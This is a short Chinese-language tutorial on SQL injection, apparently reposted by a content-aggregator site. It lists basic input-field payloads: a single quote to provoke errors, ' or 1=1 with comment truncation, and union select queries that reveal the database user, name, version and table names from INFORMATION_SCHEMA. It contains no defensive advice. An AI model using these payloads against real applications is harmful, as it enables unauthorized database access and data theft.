sql注入
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了sql注入,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含835字,纯文字阅读大概需要2分钟。
内容图文
1.输入框中输入单引号,报数据库语法错误,说明可以进行sql注入。
2.输入框中输入单引号加或恒成立条件,例如:‘ or 1=1 会查询到该表全部数据
3.输入:‘ or 1=1 --yangge ‘ 其中--后表示数据库的注释,--后的内容都不进入正式查询语句
4.使用union语句,例如输入: ‘ union select 1,2,3,4, --
其中1,2,3,4用于猜测返回字段的个数,一个数字表示一个字段
5. ‘ union select user(),database(),version() --
其中user()为返回当前用户,database()为返回当前库名,version()为数据库版本
6. ‘ union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --
查询INFORMATION_SCHEMA库中的tables表中的库名和表名
sql注入
标签:版本 nio 条件 sch format table name 输入 使用
本文系统来源:https://www.cnblogs.com/jingzaixin/p/12367619.html
内容总结
以上是互联网集市为您收集整理的sql注入全部内容,希望文章能够帮你解决sql注入所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。